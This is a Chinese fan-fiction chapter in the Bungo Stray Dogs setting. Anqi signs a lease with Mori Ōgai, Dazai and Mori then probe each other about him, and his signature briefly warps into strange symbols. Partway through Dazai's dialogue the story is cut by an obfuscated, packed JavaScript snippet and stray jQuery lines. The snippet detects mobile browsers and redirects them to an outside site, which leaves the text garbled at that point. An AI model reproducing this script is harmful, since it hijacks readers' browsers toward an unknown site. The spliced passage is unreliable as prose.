“真是失礼了呢，”穿着白大褂的男人褪去了那层浮夸的表情，他站直了身体，露出了带着歉意的温和笑容：“太宰君，请不要跟客人开这种玩笑。”


    太宰治看好戏地把下巴抵在安栖的肩上，“哎呀，森先生恼羞成怒了呢。作为前下属的我，对之前的boss有点小怨言也是正常的吧。”


    “还是说，森先生是连这点小把戏都容不下的人呢？”他鸢色的眼睛浮起虚无的笑意，充满挑衅。


    这个小子！


    森鸥外眯了眯眼睛，摊手笑道：“怎么会呢，太宰君真是说笑了。”


    随后，他转向安栖，“这位一定是安君吧，我是森鸥外，这片公寓的所有者，同时也是太宰君的前上司。”说到这里的时候，不知为何能听出一些咬牙切齿。


    他摸着小女孩的头发说：“这是我的女儿爱丽丝，我正在跟她商量下期学校演出的服装，让你误会了，真是抱歉。”


    他深紫色的眼神流露出的真诚，仿佛刚刚那个追着幼女换衣服的变态中年男人只是众人的错觉。


    太宰治在旁边发出大声的“哦～”，松开抱着安栖的胳膊，非常不客气地把自己摔进一旁的沙发里，语气非常无辜：“原来是在试演出服啊～森先生真是为好父亲呢，真是尽职尽责啊～连我都误会了呢～对吧，爱丽丝酱？”


    被点名的爱丽丝狠狠地瞪了太宰治一眼，配合地嘟囔着：“林太郎最讨厌了！”


    “原来是这样，”安栖迟疑地收了手机，不好意思地说道：“抱歉森先生，我反应过度了。”


    “哪里的话，是我不该在接待客人的地方与女儿玩闹，让安君受惊了。”森鸥外摆摆手，将一份准备好的文件递给安栖，“这就是租房合同，请过目。我们这栋公寓安保严密，环境清静，很适合像安栖君这样的年轻才俊。而且中也君也住在这里，他是我们公司的安保主管，有什么问题都可以找他。”


    那边太宰治又不知道被戳中了什么笑点，从沙发上滚落了下来。


    “看起来没什么问题。”


    安栖仔细地看了合同，租金押金都很合理，完全在自己的承受范围内，但经历了刚才的冲击，他还是保留了一丝谨慎，“森先生，我能不能先签一个月的短租？如果住得习惯，再续签长期的？”


    他需要一点时间来观察这位有点特殊癖好的房东和周围的环境，毕竟自己的房子卖出还需要一段时间。


    他利落地在结尾签上自己的名字。


    “那么，恭喜安栖君成为我们的新邻居。”森鸥外收好其中一份合同，将另一份递给安栖，然后非常自然地对中也吩咐道，“中也君，安栖君刚搬来，东西想必不少，你去帮忙处理一下搬家的事情吧。”


    “是，BOSS。”中也点头应下，语气公事公办。他看向安栖，“你现在住哪里？我开车带你过去。”


    “麻烦你了，中原先生。”安栖感激地道谢。


    “太宰君，”森鸥外又看向太宰，笑容依旧，“之前你辞职留下的尾巴还有一部分我们需要商讨一下。”


    太宰治脸上的笑容淡了些，鸢色的眼睛里掠过一丝了然，他拖长了语调：“好吧~安君，那就让漆黑的小矮人先陪你回去吧，他虽然脑子不好用，但力气还是很大的哦~”


    “你想死吗混蛋太宰！”中也的怒火差点再次被点燃。


    安栖赶紧起身：“那就麻烦中原先生了。”


    他对着森鸥外再次鞠躬，“非常感谢您，森先生。”


    森鸥外优雅颔首：“不必客气，期待你的入住，安栖君。”


    安栖跟着中也离开办公室，厚重的双开大门在他身后合上，隔绝了内外两个世界。


    *


    门一关上，办公室内轻松友好的气氛瞬间荡然无存。森鸥外脸上的营业式笑容消失得无影无踪，他坐回宽大的办公椅，手指交叉置于下颌，紫色的眼眸深不见底，看向面无表情连样子也不装的太宰治。


    “那么，太宰君，”森鸥外的声音平稳，却带着无形的压力，“戏看够了，也该说说正题了吧。你特意引荐这位安君过来，真的只是为了给我找点乐子，或者给中也找个邻居吗？”


    太宰治皮笑肉不笑地看着他：“森先生，你还是跟以前一样啊，疑神疑鬼的。”


    他语气轻飘，“我只是觉得，像安君这样普通的倒霉蛋，放在眼皮子底下看着，比让他游离在外，被什么奇怪的东西盯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205900|180781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上要安全得多，不是吗？”


    “安全？”森鸥外低笑一声，“能被太宰君看在眼里的会是什么安全的人物吗？”


    “森先生真是想多了，与其关注安栖，不如关注关注那只猫吧。”


    “哦？猫，不是异能生命体吗？”森鸥外挑眉，“你的人间失格对它无效？”


    “无效哦。”太宰治爽快地承认，“碰触它的时候，没有任何异能被消除的感觉。它就是个毛茸茸的小动物。”


    “而安栖本人？”森鸥外追问。


    “看起来嘛，”太宰治摊手，“就是个彻头彻尾的普通人。会为工作烦恼，会担心退休金，会被奇怪的房东吓到想报警，体力大概比我还差，浑身上下都散发着标准的班味。”


    他用了安栖之前提到的词，语气里带着一丝玩味，“至少，表面上是这样。”


    森鸥外沉默了片刻，手指轻轻敲击着桌面。“表面上是这样……也就是说，你同样不确定他内在如何。”


    “谁知道呢~”太宰治笑得像只偷腥的猫，“或许他只是个运气特别好的普通人也说不定？毕竟，能在那家公司安然无恙地工作到现在，本身就是一种非凡的运气了，不是吗，森先生？”


    两人对视着，空气中弥漫着无声的交锋与试探。森鸥外知道太宰治肯定隐瞒了关键信息，而太宰治则享受着这种信息不对称带来的微妙优势。


    几秒后，太宰治站了起来，双手插兜地往外走去。


    “不见见老部下吗，太宰君？”


    不用回头就能想到那张老男人阴险的笑容，太宰治略微侧过头，埋在阴影的那半张脸扯出冷笑：“我怕我再待下去，森先生会回忆起不好的事情呢～毕竟你生怕自己重蹈了先代的覆辙～我就不在这吓唬老年人了～”


    无声的脚步消失在了门外。


    森鸥外叹息地闭上了眼睛。


    在他们没有注意到的角落里，合同上安栖落笔的签名处，墨迹仿佛拥有了生命般，扭曲蠕动，化作了几个无法用语言形容，仅看一眼就令人头晕目眩的奇异符号，但它们只存在了微不足道的一瞬，下一刻，又变回了那工整的“安栖”二字。


    悄无声息的改变开始了。